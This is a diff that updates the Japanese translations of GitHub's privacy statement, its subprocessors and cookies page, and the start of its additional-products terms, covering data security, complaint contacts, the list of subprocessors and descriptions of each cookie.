-GitHub enforces a written security information program. Our program:
-- aligns with industry recognized frameworks;
-- includes security safeguards reasonably designed to protect the confidentiality, integrity, availability, and resilience of our Users' data;
-- is appropriate to the nature, size, and complexity of GitHub’s business operations;
-- includes incident response and data breach notification processes; and
-- complies with applicable information security-related laws and regulations in the geographic regions where GitHub does business.
+GitHubは、書面によるセキュリティ情報プログラムを実行しています。 当社のプログラム：
+- 業界で評価されているフレームワークと提携
+- 当社のユーザのデータの秘密性、統合性、利用可能性およびレジリエンスを保護するために合理的に設計されたセキュリティセーフガードを装備
+- GitHubの事業遂行に適切な性質、サイズおよび複雑性
+- インシデントに対する応答およびデータ侵害通知プロセスを装備
+- GitHubがビジネスを行う地理的地域において適用される情報セキュリティ関係法令に適合
 
-In the event of a data breach that affects your User Personal Information, we will act promptly to mitigate the impact of a breach and notify any affected Users without undue delay.
+お客様のユーザ個人情報に影響を与えるデータ侵害が発生した場合、当社は、速やかに侵害の影響を判断し、遅滞なく影響を受けたユーザに対して通知します。
 
-Transmission of data on GitHub is encrypted using SSH, HTTPS (TLS), and git repository content is encrypted at rest. We manage our own cages and racks at top-tier data centers with high level of physical and network security, and when data is stored with a third-party storage provider, it is encrypted.
+GitHub上のデータの転送は、SSHおよびHTTPS (TLS) を利用して暗号化されます。Gitリポジトリコンテンツも暗号化されます。 当社は、高レベルの物理的およびネットワークセキュリティを有する第一級のデータセンターで自社所有のかごとラックを管理しています。データをサードパーティのストレージプロバイダーで管理する場合、暗号化されます。
 
-No method of transmission, or method of electronic storage, is 100% secure. Therefore, we cannot guarantee its absolute security. For more information, see our [security disclosures](https://github.com/security).
+いかなる転送方法または電子的保管方法も、100%安全ではありません。 したがって、当社は絶対的なセキュリティを保証できません。 詳細は、[セキュリティディスクロージャー](https://github.com/security)を参照してください。
 
-## GitHub's global privacy practices
+## GitHubのグローバルプライバシープラクティス
 
-GitHub, Inc. and, for those in the European Economic Area, the United Kingdom, and Switzerland, GitHub B.V. are the controllers responsible for the processing of your personal information in connection with the Service, except (a) with respect to personal information that was added to a repository by its contributors, in which case the owner of that repository is the controller and GitHub is the processor (or, if the owner acts as a processor, GitHub will be the subprocessor); or (b) when you and GitHub have entered into a separate agreement that covers data privacy (such as a Data Processing Agreement).
+GitHub, Inc.、そして欧州経済領域、英国、およびスイスにおいては GitHub B.V. が、本サービスに関してお客様の個人情報を処理する責任を負う管理者です。ただし、(a) コントリビューターによりリポジトリに追加された個人情報については、リポジトリのオーナーが管理者であり、 GitHubは処理者です (また、オーナーが処理者の役割を担う場合は、GitHubは副処理者です)。(b) GitHubとお客様が、データプライバシーを扱う別途の契約 (データ処理契約など) を結んだ場合は例外です。
 
-Our addresses are:
+当社の住所は以下の通りです。
 
 - GitHub, Inc., 88 Colin P. Kelly Jr. Street, San Francisco, CA 94107.
 - GitHub B.V., Vijzelstraat 68-72, 1017 HL Amsterdam, The Netherlands.
 
-We store and process the information that we collect in the United States in accordance with this Privacy Statement, though our service providers may store and process data outside the United States. However, we understand that we have Users from different countries and regions with different privacy expectations, and we try to meet those needs even when the United States does not have the same privacy framework as other countries.
+当社は本プライバシーについての声明に従い、収集した情報を米国で保管および処理しますが、当社のサービスプロバイダは米国外でデータを保管および処理することがあります。 しかし、当社は、プライバシーについて様々な期待をする、様々な国および地域のユーザがいることを理解しています。当社は、米国が他の国んと同じプライバシーフレームワークを有していない場合でも、その必要性を充たす努力をします。
 
-We provide the same high standard of privacy protection—as described in this Privacy Statement—to all our users around the world, regardless of their country of origin or location, and we are proud of the levels of notice, choice, accountability, security, data integrity, access, and recourse we provide. We work hard to comply with the applicable data privacy laws wherever we do business, working with our Data Protection Officer as part of a cross-functional team that oversees our privacy compliance efforts. Additionally, if our vendors or affiliates have access to User Personal Information, they must sign agreements that require them to comply with our privacy policies and with applicable data privacy laws.
+当社は、本プライバシーについての声明に記載のとおり、ユーザの出生国や地域に関わらず、世界中のユーザ全員に対して、等しく高水準のプライバシー保護を提供します。当社が提供する通知、選択肢、アカウンタビリティ、セキュリティ、データ完全性、アクセスおよび償還の水準を、当社は誇りにしています。 当社は、ビジネスを行う場所に関係なく、当社のプライバシー適合のために努力を行うクロスファンクショナルチームの一員としての当社のデータ保護責任者とともに、適用されるデータプライバシー法令に適合するために全力を尽くしています。 加えて、当社のベンダーまたは関係会社がユーザ個人情報にアクセスする場合、当社のプライバシーポリシーおよび適用されるデータプライバシー法令にしたがうことを要求する契約を締結しなければなりません。
 
-In particular:
+主要な点
 
- - GitHub provides clear methods of unambiguous, informed, specific, and freely given consent at the time of data collection, when we collect your User Personal Information using consent as a basis.
- - We collect only the minimum amount of User Personal Information necessary for our purposes, unless you choose to provide more. We encourage you to only give us the amount of data you are comfortable sharing.
- - We offer you simple methods of accessing, altering, or deleting the User Personal Information we have collected, where legally permitted.
- - We provide our Users notice, choice, accountability, security, and access regarding their User Personal Information, and we limit the purpose for processing it. We also provide our Users a method of recourse and enforcement.
+ - GitHubは、同意にもとづいてユーザ個人情報を収集する場合、データ収集時に明確、精通、具体的かつ自由に同意された、分かりやすい方法を提供します。
+ - 当社は、当社の目的に必要な最小限の個人情報を収集します。ただし、お客様がさらに提供することを選択した場合は除きます。 当社は、お客様が共有してよいと思うデータの量に限って、当社に提供することを推奨します。
+ - 当社は、法令で認められている場合、当社が収集したユーザ個人情報にアクセス、変更および削除するためのシンプルな方法をお客様に提供します。
+ - 当社は、ユーザ個人情報に関係して、ユーザに対して通知、選択肢、アカウンタビリティ、セキュリティおよびアクセスを提供します。かつ、当社は、ユーザ個人情報を処理する目的を限定します。 当社は、ユーザがリコースおよび実行する方法を当社のユーザに提供します。
 
-### Cross-border data transfers
+### クロスボーダーデータトランスファー
 
-GitHub processes personal information both inside and outside of the United States and relies on Standard Contractual Clauses as the legally provided mechanism to lawfully transfer data from the European Economic Area, the United Kingdom, and Switzerland to the United States. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about our cross-border data transfers, see our [Global Privacy Practices](/github/site-policy/global-privacy-practices).
+GitHubは米国内外の個人情報を処理しており、欧州経済領域、英国、スイスからデータを合法的に転送するにあたり、法的に提供されたメカニズムとして標準契約条項に依拠しています。 さらにGitHubは、EU-米国プライバシーシールドフレームワークの認証を受けています。 国境を越えたデータ転送に関する詳細については、[グローバルプライバシープラクティス](/github/site-policy/global-privacy-practices)をご覧ください。
 
-## How we communicate with you
+## 当社とお客様との連絡方法
 
-We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. For example, if you contact our Support team with a request, we respond to you via email. You have a lot of control over how your email address is used and shared on and through GitHub. You may manage your communication preferences in your [user profile](https://github.com/settings/emails).
+当社は、お客様のメールアドレスをお客様にご連絡するために利用します。お客様がOKといった場合、**そして、OKといった理由に限ります**。 たとえば、お客様が当社のサポートチームにリクエストを連絡した場合、当社はemailでお返事します。 お客様は、GitHubでのメールアドレスの使用方法および共有方法について様々な管理を行えます。 お客様は、[ユーザプロフィール](https://github.com/settings/emails)で、コミュニケーションの設定を管理できます。
 
-By design, the Git version control system associates many actions with a User's email address, such as commit messages. We are not able to change many aspects of the Git system. If you would like your email address to remain private, even when you’re commenting on public repositories, [you can create a private email address in your user profile](https://github.com/settings/emails). You should also [update your local Git configuration to use your private email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). This will not change how we contact you, but it will affect how others see you. We set current Users' email address private by default, but legacy GitHub Users may need to update their settings. Please see more about email addresses in commit messages [here](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address).
+設計によって、Gitバージョン管理システムは、コミットメッセージなどのユーザのメールアドレスを伴う様々なアクションと協業します。 当社は、Gitシステムの多くの要素を変更することはできません。 パブリックリポジトリにコメントしている場合でも、お客様がメールアドレスを非公開のままにすることを希望するとき、[お客様はユーザプロフィールで非公開メールアドレスを作成できます](https://github.com/settings/emails)。 また、お客様は、[非公開メールアドレスを利用するためにローカルのGit設定をアップデートする](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)必要があります。 このことで、当社からお客様への連絡方法は変わりません。しかし、他のユーザにとってのお客様の表示に影響を及ぼします。 当社は、デフォルト設定では現在のユーザのメールアドレスを非公開に設定しています。ただし、レガシーのGitHubユーザは、設定をアップデートする必要がある可能性があります。 コミットメッセージ内のメールアドレスに関する詳細については、[こちら](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)を参照してください。
 
-Depending on your [email settings](https://github.com/settings/emails), GitHub may occasionally send notification emails about changes in a repository you’re watching, new features, requests for feedback, important policy changes, or to offer customer support. We also send marketing emails, based on your choices and in accordance with applicable laws and regulations. There's an “unsubscribe” link located at the bottom of each of the marketing emails we send you. Please note that you cannot opt out of receiving important communications from us, such as emails from our Support team or system emails, but you can configure your notifications settings in your profile to opt out of other communications.
+お客様の[email設定](https://github.com/settings/emails)によっては、GitHubは、時々、お客様がWatchしているリポジトリでの変更、新機能、フードバックのお願い、重要なポリシーの変更または顧客サポートを提供するために、通知のemailを送信することがあります。 また、当社は、お客様の選択ならびに適用される法令および規則にしたがって、マーケティングのemailを送信します。 当社がお客様に送信するマーケティングemailの文末には、「サブスクライブ解除」のリンクがあります。 当社から、サポートチームまたはシステムemailなどの重要なコミュニケーションの受け取りを解除することはできません。ですが、その他のコミュニケーションについては、プロフィールの通知設定を変更することで解除できます。
 
-Our emails may contain a pixel tag, which is a small, clear image that can tell us whether or not you have opened an email and what your IP address is. We use this pixel tag to make our email more effective for you and to make sure we’re not sending you unwanted email.
+当社のemailには、お客様がemailを開封したかどうか、および、IPアドレスを当社に知らせる小さく明瞭な画像であるピクセルタグを含むことがあります。 当社は、emailをお客様によって効果的にするために、および、望まれないemailを当社がお客様に送信しないことを確実にするために、このピクセルタグを利用します。
 
-## Resolving complaints
+## 苦情の解決
 
-If you have concerns about the way GitHub is handling your User Personal Information, please let us know immediately. We want to help. You may contact us by filling out the [Privacy contact form](https://support.github.com/contact/privacy). You may also email us directly at privacy@github.com with the subject line "Privacy Concerns." We will respond promptly — within 45 days at the latest.
+ユーザ個人情報の当社の取り扱い方法についてお客様が懸念を有している場合、ただちに当社にお知らせください。 当社はお客様を手助けしたいと考えています。 お客様は、[プライバシー連絡フォーム](https://support.github.com/contact/privacy)に記入することで、当社に連絡できます。 また、お客様は、サブジェクトを「Privacy Concerns」とした当社宛てe-mailを、、privacy@github.comに送信することができます。 当社は、遅くとも45日以内に速やかに返信します。
 
-You may also contact our Data Protection Officer directly.
+お客様は、当社のデータ保護責任者に直接連絡することもできます。
 
-| Our United States HQ | Our EU Office |
-|---|---|
-| GitHub Data Protection Officer | GitHub BV |
-| 88 Colin P. Kelly Jr. St. | Vijzelstraat 68-72 |
-| San Francisco, CA 94107 | 1017 HL Amsterdam |
-| United States | The Netherlands |
-| privacy@github.com | privacy@github.com |
+| 当社の米国本社                        | 当社のEU事務所           |
+| ------------------------------ | ------------------ |
+| GitHub Data Protection Officer | GitHub BV          |
+| 88 Colin P. Kelly Jr. St.      | Vijzelstraat 68-72 |
+| San Francisco, CA 94107        | 1017 HL Amsterdam  |
+| 米国                             | The Netherlands    |
+| privacy@github.com             | privacy@github.com |
 
-### Dispute resolution process
+### 紛争解決プロセス
 
-In the unlikely event that a dispute arises between you and GitHub regarding our handling of your User Personal Information, we will do our best to resolve it. Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority, and you might have more [options](/github/site-policy/global-privacy-practices#dispute-resolution-process).
+お客様のユーザ個人情報の当社の取り扱いについてお客様と当社との間に紛争が生起した場合、当社は解決のために最善を尽くします。 さらに、お客様がEU加盟国の住民である場合、現地の監督当局に苦情を申し立てる権利を有します。また、別の[選択肢](/github/site-policy/global-privacy-practices#dispute-resolution-process)がある場合もあります。
 
-## Changes to our Privacy Statement
+## プライバシーステートメントの変更
 
-Although most changes are likely to be minor, GitHub may change our Privacy Statement from time to time. We will provide notification to Users of material changes to this Privacy Statement through our Website at least 30 days prior to the change taking effect by posting a notice on our home page or sending email to the primary email address specified in your GitHub account. We will also update our [Site Policy repository](https://github.com/github/site-policy/), which tracks all changes to this policy. For other changes to this Privacy Statement, we encourage Users to [watch](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) or to check our Site Policy repository frequently.
+ほとんどの変更は軽微ですが、GitHubは、随時、プライバシーステートメントを変更することがあります。 当社は、ホームページに通知を掲載すること、または、GitHubアカウントで指定するプライマリメールアドレスにemailを送信することで、変更が発効する遅くとも30日前にウェブサイト上で、このプライバシーステートメントの重要な変更についてユーザへの通知を提供します。 また、当社は、このポリシーの変更を追跡している[サイトポリシーリポジトリ](https://github.com/github/site-policy/)をアップデートします。 本プライバシーステートメントのその他の変更については、サイトポリシーのリポジトリを[watch](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)または確認するようユーザにおすすめします。
 
-## License
+## ライセンス
 
-This Privacy Statement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+本プライバシーステートメントは、この[Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/)の元でライセンス付与されています。 詳細は、[サイトポリシーリポジトリ](https://github.com/github/site-policy#license)を参照してください。
 
-## Contacting GitHub
-Questions regarding GitHub's Privacy Statement or information practices should be directed to our [Privacy contact form](https://support.github.com/contact/privacy).
+## GitHubへの連絡
+GitHubプライバシーステートメントまたは情報処理についてのご質問は、[プライバシー連絡フォーム](https://support.github.com/contact/privacy)をご利用ください。
 
-## Translations
+## 翻訳
 
-Below are translations of this document into other languages. In the event of any conflict, uncertainty, or apparent inconsistency between any of those versions and the English version, this English version is the controlling version.
+下記は、本ドキュメントの他言語への翻訳です。 これらのバージョンと英語バージョンとの間に何らかの矛盾、曖昧さ、または、明らかな非一貫性がある場合、英語バージョンを優先的なバージョンとします。
 
-### French
-Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(07.22.20)(FR).pdf)
+### フランス語
+Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(12.20.19)(FR).pdf)
 
-### Other translations
+### その他の翻訳
 
-For translations of this statement into other languages, please visit [https://docs.github.com/](/) and select a language from the drop-down menu under “English.”
+この声明の他の言語への翻訳については、[https://docs.github.com/](/)にアクセスし、[English] のドロップダウンメニューから言語を選択してください。
diff --git a/translations/ja-JP/content/github/site-policy/github-subprocessors-and-cookies.md b/translations/ja-JP/content/github/site-policy/github-subprocessors-and-cookies.md
index 03ca56894a..c7d1405b80 100644
--- a/translations/ja-JP/content/github/site-policy/github-subprocessors-and-cookies.md
+++ b/translations/ja-JP/content/github/site-policy/github-subprocessors-and-cookies.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Subprocessors and Cookies
+title: GitHubのサブプロセッサとCookie
 redirect_from:
   - /subprocessors
   - /github-subprocessors
@@ -13,68 +13,68 @@ topics:
   - Legal
 ---
 
-Effective date: **April 2, 2021**
+発効日：**2021年4月2日**
 
-GitHub provides a great deal of transparency regarding how we use your data, how we collect your data, and with whom we share your data. To that end, we provide this page, which details [our subprocessors](#github-subprocessors), and how we use [cookies](#cookies-on-github).
+GitHubは、お客様のデータを当社が利用する方法、お客様のデータを当社が収集する方法、およびお客様のデータを共有する対象について、高い透明性を提供します。 この目的のため、[当社のサブプロセッサ](#github-subprocessors)および[クッキー](#cookies-on-github)の使用方法ついて説明するページをご用意しました。
 
-## GitHub Subprocessors
+## GitHubのサブプロセッサ
 
-When we share your information with third party subprocessors, such as our vendors and service providers, we remain responsible for it. We work very hard to maintain your trust when we bring on new vendors, and we require all vendors to enter into data protection agreements with us that restrict their processing of Users' Personal Information (as defined in the [Privacy Statement](/articles/github-privacy-statement/)).
+当社がお客様の情報を、ベンダーやサービスプロバイダなどのサードパーティーのサブプロセッサと共有する場合、それについては当社が責任を負います。 新たなベンダーとのやり取りを行う際に、当社はお客様の信頼を維持するため努力し、全てのベンダーに対して、 ユーザの個人情報 ([プライバシーについての声明](/articles/github-privacy-statement/)の定義による) に関する取り扱いを制限する、データ保護契約を締結するよう要求しています。
 
-| Name of Subprocessor | Description of Processing | Location of Processing | Corporate Location
-|:---|:---|:---|:---|
-| Automattic | Blogging service | United States | United States |
-| AWS Amazon | Data hosting | United States | United States |
-| Braintree (PayPal) | Subscription credit card payment processor | United States | United States |
-| Clearbit | Marketing data enrichment service | United States | United States |
-| Discourse | Community forum software provider | United States | United States |
-| Eloqua | Marketing campaign automation | United States | United States |
-| Google Apps | Internal company infrastructure | United States | United States |
-| MailChimp | Customer ticketing mail services provider | United States | United States |
-| Mailgun | Transactional mail services provider | United States | United States |
-| Microsoft | Microsoft Services | United States | United States |
-| Nexmo | SMS notification provider | United States | United States |
-| Salesforce.com | Customer relations management | United States | United States |
-| Sentry.io | Application monitoring provider | United States | United States |
-| Stripe | Payment provider | United States | United States |
-| Twilio & Twilio Sendgrid | SMS notification provider & transactional mail service provider | United States | United States |
-| Zendesk | Customer support ticketing system | United States | United States |
-| Zuora | Corporate billing system | United States | United States |
+| サブプロセッサ名                 | 処理の内容                             | 処理の場所 | 会社所在地 |
+|:------------------------ |:--------------------------------- |:----- |:----- |
+| Automattic               | ブログサービス                           | 米国    | 米国    |
+| AWS Amazon               | データのホスティング                        | 米国    | 米国    |
+| Braintree (PayPal)       | プランのクレジットカード決済処理業者                | 米国    | 米国    |
+| Clearbit                 | マーケティングデータのエンリッチメントサービス           | 米国    | 米国    |
+| Discourse                | コミュニティフォーラムのソフトウェアプロバイダ           | 米国    | 米国    |
+| Eloqua                   | マーケティングキャンペーンの自動化                 | 米国    | 米国    |
+| Google Apps              | 社内インフラストラクチャ                      | 米国    | 米国    |
+| MailChimp                | 顧客チケットメールサービスプロバイダ                | 米国    | 米国    |
+| Mailgun                  | トランザクションメールサービスプロバイダ              | 米国    | 米国    |
+| Microsoft                | マイクロソフトサービス                       | 米国    | 米国    |
+| Nexmo                    | SMS通知プロバイダ                        | 米国    | 米国    |
+| Salesforce.com           | 顧客関係管理                            | 米国    | 米国    |
+| Sentry.io                | アプリケーション監視プロバイダ                   | 米国    | 米国    |
+| Stripe                   | 決済プロバイダ                           | 米国    | 米国    |
+| Twilio & Twilio Sendgrid | SMS通知プロバイダおよびトランザクションメールサービスプロバイダ | 米国    | 米国    |
+| Zendesk                  | カスタマーサポートのチケットシステム                | 米国    | 米国    |
+| Zuora                    | 企業課金システム                          | 米国    | 米国    |
 
-When we bring on a new subprocessor who handles our Users' Personal Information, or remove a subprocessor, or we change how we use a subprocessor, we will update this page. If you have questions or concerns about a new subprocessor, we'd be happy to help. Please contact us via {% data variables.contact.contact_privacy %}.
+当社ユーザの個人情報を取り扱う新たなサブプロセッサとやり取りを始める際、サブプロセッサと解約する際、およびサブプロセッサの利用方法を変更する際は、このページを更新します。 新たなサブプロセッサについての質問や懸念がある場合は、 {% data variables.contact.contact_privacy %}からお気軽にお問い合わせください。
 
-## Cookies on GitHub
+## GitHubのCookie
 
-GitHub uses cookies to provide and secure our websites, as well as to analyze the usage of our websites, in order to offer you a great user experience. Please take a look at our [Privacy Statement](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking) if you’d like more information about cookies, and on how and why we use them. 
- 
-Since the number and names of cookies may change, the table below may be updated from time to time.
+ウェブサイトを提供および保護し、ウェブサイトの利用状況を分析して優れたユーザエクスペリエンスを提供するために、GitHubはクッキーを使用します。 クッキーに関する詳細な情報や、その使用方法と理由について知りたい場合は、当社の[プライバシーについての声明](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking)を参照してください。
 
-| Service Provider | Cookie Name | Description | Expiration* |
-|:---|:---|:---|:---|
-| GitHub | `app_manifest_token` | This cookie is used during the App Manifest flow to maintain the state of the flow during the redirect to fetch a user session. | five minutes |
-| GitHub | `color_mode` | This cookie is used to indicate the user selected theme preference. | session | 
-| GitHub | `_device_id` | This cookie is used to track recognized devices for security purposes. | one year |
-| GitHub | `dotcom_user` | This cookie is used to signal to us that the user is already logged in. | one year |
-| GitHub | `_gh_ent` | This cookie is used for temporary application and framework state between pages like what step the customer is on in a multiple step form. | two weeks | 
-| GitHub | `_gh_sess` | This cookie is used for temporary application and framework state between pages like what step the user is on in a multiple step form. | session |
-| GitHub | `gist_oauth_csrf` | This cookie is set by Gist to ensure the user that started the oauth flow is the same user that completes it. | deleted when oauth state is validated |
-| GitHub | `gist_user_session` | This cookie is used by Gist when running on a separate host. | two weeks |
-| GitHub | `has_recent_activity` | This cookie is used to prevent showing the security interstitial to users that have visited the app recently. | one hour | 
-| GitHub | `__Host-gist_user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `__Host-user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `logged_in` | This cookie is used to signal to us that the user is already logged in. | one year | 
-| GitHub | `marketplace_repository_ids` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `marketplace_suggested_target_id` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `_octo` | This cookie is used for session management including caching of dynamic content, conditional feature access, support request metadata, and first party analytics. | one year | 
-| GitHub | `org_transform_notice` | This cookie is used to provide notice during organization transforms. | one hour |
-| GitHub | `private_mode_user_session` |  This cookie is used for Enterprise authentication requests. | two weeks |
-| GitHub | `saml_csrf_token` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_csrf_token_legacy` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to_legacy` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `tz` | This cookie allows us to customize timestamps to your time zone. | session | 
-| GitHub | `user_session` | This cookie is used to log you in. | two weeks |
+クッキーの数や名前は変わることがあるため、以下の表も適時更新されることがあります。
 
-_*_ The **expiration** dates for the cookies listed below generally apply on a rolling basis.
+| サービスプロバイダ | クッキーの名前                              | 説明                                                                                  | 有効期限*                        |
+|:--------- |:------------------------------------ |:----------------------------------------------------------------------------------- |:---------------------------- |
+| GitHub    | `app_manifest_token`                 | このクッキーは、リダイレクト中のユーザセッションをフェッチし、フローの状態を維持するため、App Manifestフロー中に使用されます。               | 5分間                          |
+| GitHub    | `color_mode`                         | このクッキーは、ユーザが選択したテーマ設定を示すために使用されます。                                                  | セッション                        |
+| GitHub    | `_device_id`                         | このクッキーは、セキュリティ上の目的により、認識されたデバイスを追跡するために使用されます。                                      | 1年間                          |
+| GitHub    | `dotcom_user`                        | このクッキーは、ユーザがすでにログインしていることを当社に通知するために使用されます。                                         | 1年間                          |
+| GitHub    | `_gh_ent`                            | このクッキーは、お客様が複数のステップのうちどのステップにあるのかなど、一時アプリケーションおよびフレームワークにおけるページ間での状態を記録するために使用されます。 | 2週間                          |
+| GitHub    | `_gh_sess`                           | このクッキーは、ユーザが複数のステップのうちどのステップにあるのかなど、一時アプリケーションおよびフレームワークにおけるページ間での状態を記録するために使用されます。 | セッション                        |
+| GitHub    | `gist_oauth_csrf`                    | このクッキーは、OAuthフローを開始したユーザが、それを完了したユーザと同一であることを保証するために、Gistによって設定されます。                | OAuth state の検証後に削除          |
+| GitHub    | `gist_user_session`                  | このクッキーは、別のホストで実行されている場合にGistによって使用されます。                                             | 2週間                          |
+| GitHub    | `has_recent_activity`                | このクッキーは、アプリケーションに最近アクセスしたユーザにセキュリティインタースティシャルを表示させないために使用されます。                      | 1時間                          |
+| GitHub    | `__Host-gist_user_session_same_site` | このクッキーは、SameSiteクッキーをサポートするブラウザが、リクエストがGitHubから発信されているかどうかを確認できるように設定されます。          | 2週間                          |
+| GitHub    | `__Host-user_session_same_site`      | このクッキーは、SameSiteクッキーをサポートするブラウザが、リクエストがGitHubから発信されているかどうかを確認できるように設定されます。          | 2週間                          |
+| GitHub    | `logged_in`                          | このクッキーは、ユーザがすでにログインしていることを当社に通知するために使用されます。                                         | 1年間                          |
+| GitHub    | `marketplace_repository_ids`         | このクッキーは、Marketplaceのインストールフローに使用されます。                                               | 1時間                          |
+| GitHub    | `marketplace_suggested_target_id`    | このクッキーは、Marketplaceのインストールフローに使用されます。                                               | 1時間                          |
+| GitHub    | `_octo`                              | このクッキーは、動的コンテンツのキャッシング、条件付き機能へのアクセス、サポートリクエストのメタデータ、ファーストパーティ分析などのセッション管理に使用されます。   | 1年間                          |
+| GitHub    | `org_transform_notice`               | このクッキーは、Organizationの変換時に通知を行うために使用されます。                                            | 1時間                          |
+| GitHub    | `private_mode_user_session`          | このクッキーは、Enterprise認証リクエストに使用されます。                                                   | 2週間                          |
+| GitHub    | `saml_csrf_token`                    | このクッキーは、トークンをクライアントに関連付けるために、SAML認証パスメソッドによって設定されます。                                | ユーザがブラウザを閉じるか、認証リクエストを完了するまで |
+| GitHub    | `saml_csrf_token_legacy`             | このクッキーは、トークンをクライアントに関連付けるために、SAML認証パスメソッドによって設定されます。                                | ユーザがブラウザを閉じるか、認証リクエストを完了するまで |
+| GitHub    | `saml_return_to`                     | このクッキーは、SAML認証ループ時に、状態を維持するためSAML認証パスメソッドによって設定されます。                                | ユーザがブラウザを閉じるか、認証リクエストを完了するまで |
+| GitHub    | `saml_return_to_legacy`              | このクッキーは、SAML認証ループ時に、状態を維持するためSAML認証パスメソッドによって設定されます。                                | ユーザがブラウザを閉じるか、認証リクエストを完了するまで |
+| GitHub    | `tz`                                 | このクッキーを使用すると、タイムゾーンに合わせてタイムスタンプをカスタマイズできます。                                         | セッション                        |
+| GitHub    | `user_session`                       | このクッキーはログインに使用されます。                                                                 | 2週間                          |
 
-(!) Please note while we limit our use of third party cookies to those necessary to provide external functionality when rendering external content, certain pages on our website may set other third party cookies. For example, we may embed content, such as videos, from another site that sets a cookie. While we try to minimize these third party cookies, we can’t always control what cookies this third party content sets.
+_*_ 以下に挙げるクッキーの**有効期限**日は通常、随時適用されます。
+
+(!) 当社は第三者によるクッキーの使用を、外部コンテンツをレンダリングする際に必要な外部機能を提供するために必要なものに限って使用していますが、当社の特定のページにおいては第三者によるその他のクッキーが設置される場合があります。 たとえば、クッキーを設定するサイトから、動画などのコンテンツを埋め込むことがあります。 第三者のクッキーは最小限に保つよう努めていますが、当社は第三者のコンテンツが設定するクッキーを常に管理できるわけではありません。
diff --git a/translations/ja-JP/content/github/site-policy/github-terms-for-additional-products-and-features.md b/translations/ja-JP/content/github/site-policy/github-terms-for-additional-products-and-features.md
index 02ffbb9d03..1bdf1c69ad 100644
--- a/translations/ja-JP/content/github/site-policy/github-terms-for-additional-products-and-features.md
+++ b/translations/ja-JP/content/github/site-policy/github-terms-for-additional-products-and-features.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Terms for Additional Products and Features
+title: GitHub 追加製品および機能の利用規約
 redirect_from:
   - /github/site-policy/github-additional-product-terms
 versions:
@@ -11,51 +11,51 @@ topics:
 
 Version Effective Date: August 10, 2021
 
-When you use GitHub, you may be given access to lots of additional products and features ("Additional Products and Features"). Because many of the Additional Products and Features offer different functionality, specific terms for that product or feature may apply in addition to your main agreement with us—the GitHub Terms of Service, GitHub Corporate Terms of Service, GitHub General Terms, or Microsoft volume licensing agreement (each, the "Agreement"). Below, we've listed those products and features, along with the corresponding additional terms that apply to your use of them.
+GitHub を利用する際、数多くの追加製品や機能 (「追加製品および機能」) にもアクセス権を与えられることがあります。 「追加製品および機能」の多くはさまざまな機能を提供するため、当社との主な契約、すなわち「GitHub 利用規約」、「GitHub 企業向け利用規約」、「GitHub 一般規約」、Microsoft ボリュームライセンス契約 (それぞれ「契約」) に加えて、製品や機能に特定の規約が適用される場合があります。 以下に、こうした製品や機能と、その利用に対して適用される追加の規約を示します。
 
-By using the Additional Products and Features, you also agree to the applicable GitHub Terms for Additional Products and Features listed below. A violation of these GitHub terms for Additional Product and Features is a violation of the Agreement. Capitalized terms not defined here have the meaning given in the Agreement.
+「追加製品および機能」を利用することにより、お客様は以下に挙げた該当する「GitHub 追加製品および機能の利用規約」にも同意することとなります。 「追加製品および機能の GitHub 利用規約」に違反することは、「契約」に違反することにもなります。 かぎ括弧に括られた用語のうち、ここで定義されていないものについては、「契約」に示された意味を持つものとします。
 
-**For Enterprise users**
-- **GitHub Enterprise Cloud** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, and Pages. 
+**Enterprise ユーザ向け**
+- **GitHub Enterprise Cloud** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, and Pages.
 
-- **GitHub Enterprise Server** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, Pages, and SQL Server Images. 
+- **GitHub Enterprise Server** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, Pages, and SQL Server Images.
 
 - **GitHub AE** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, {% ifversion ghae %}Connect, {% endif %}Dependabot Preview, GitHub Enterprise Importer, Packages and Pages.
 
-## Actions
